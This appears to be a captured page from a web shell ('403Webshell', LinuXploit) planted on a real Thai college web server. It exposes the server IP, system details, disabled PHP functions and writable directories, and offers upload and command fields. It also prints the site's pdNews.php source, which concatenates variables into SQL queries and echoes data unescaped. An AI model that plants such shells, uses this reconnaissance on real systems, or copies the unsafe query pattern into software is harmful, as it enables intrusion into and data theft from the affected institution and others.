403Webshell
Server IP : 202.29.229.35  /  Your IP : 3.141.167.59
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/pdNews.php
<?php 
	//session_start();
	include('connect/connect.php');
	/*include('connect/function.php');
	*/

				 	$sql="select * from tbl_dpnews order by dpN_ID desc";
					$result=mysqli_query($connect1,$sql);
					$num_cd=mysqli_num_rows($result);
					
?>
   <div class="box">
  	<div style="width: 100%;">
    <div class="fdefault fbold txt-topic display-inline-block" style="width: 260px;">ข่าวประชาสัมมพันธ์</div>
    <div class="line-bottom-green display-inline-block" style="width: 700px;"></div>
    <div class="link-default-org" style="margin-bottom: 5px; padding:5px">
      <table width="100%" border="0" align="center" cellpadding="5" cellspacing="1">
        <!---
        <tr>
          <td width="20" height="28" align="center" valign="middle" bgcolor="#EBEBEB">&nbsp;</td>
          <td align="center" valign="middle" bgcolor="#EBEBEB"><strong><b>ข่าวประชาสัมพันธ์ ทั้งหมด&nbsp;&nbsp;
                <?php  //echo $num_cd;?>
&nbsp;&nbsp;ข่าว</b></strong></td>
        </tr>
        --->
        <?php
					while($rs=mysqli_fetch_assoc($result)){
						$dp_ID=$rs['dp_ID'];
											
					$queryperlogin = "select * from tbl_datatecher1 where tecNumber='$dp_ID' ";
					//echo "=>".$queryperlogin."<br>";
					$resultperlogin=mysqli_query($connect1,$queryperlogin);
					$rsperteclogin=mysqli_fetch_assoc($resultperlogin);
					$selectworklogin = $rsperteclogin['selectwork'];//กลุ่มงาน
					//echo "==>".$selectworklogin;
					//ชื่อกลุ่มงาน
						$sqlworklogin="select * from tbl_departmentall where daNodpt='$selectworklogin' ";
						$resqlworklogin=mysqli_query($connect1,$sqlworklogin);
						$rsworklogin=mysqli_fetch_assoc($resqlworklogin);
						$workname = $rsworklogin['daFname'];
							
					$bg="text";
					if($bg == "#F5F5F5") {
						$bg = "#FDFDFD";
					} else {
						$bg = "#F5F5F5";
					}
					
		  ?>
        <tr bgcolor="<?php echo $bg;?>"  >
          <td width="20" align="center" valign="middle" bgcolor="<?=$bg?>"><img src="images/icon07.png" width="20" height="12" /></td>
          <td align="left" valign="middle" bgcolor="<?=$bg?>">&nbsp;&nbsp; <a href="?i=pdNews_Showdetail&dpN_ID=<?php echo $rs['dpN_ID'];?>" class="link-default-org"><?php echo $rs['dpN_Title'];?> </a><font color="#0099FF" size="-3"><i>เขียนโดย : <?php echo $workname;?>&nbsp;เมื่อ : <?php echo displaydate($rs['dpN_Date'])//."  ".$rs['dpN_Time'];?></i></font></td>
        </tr>
        <?php
		$num=0;
								$num--;
				}
				
		  ?>
      </table>
    </div>
  </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit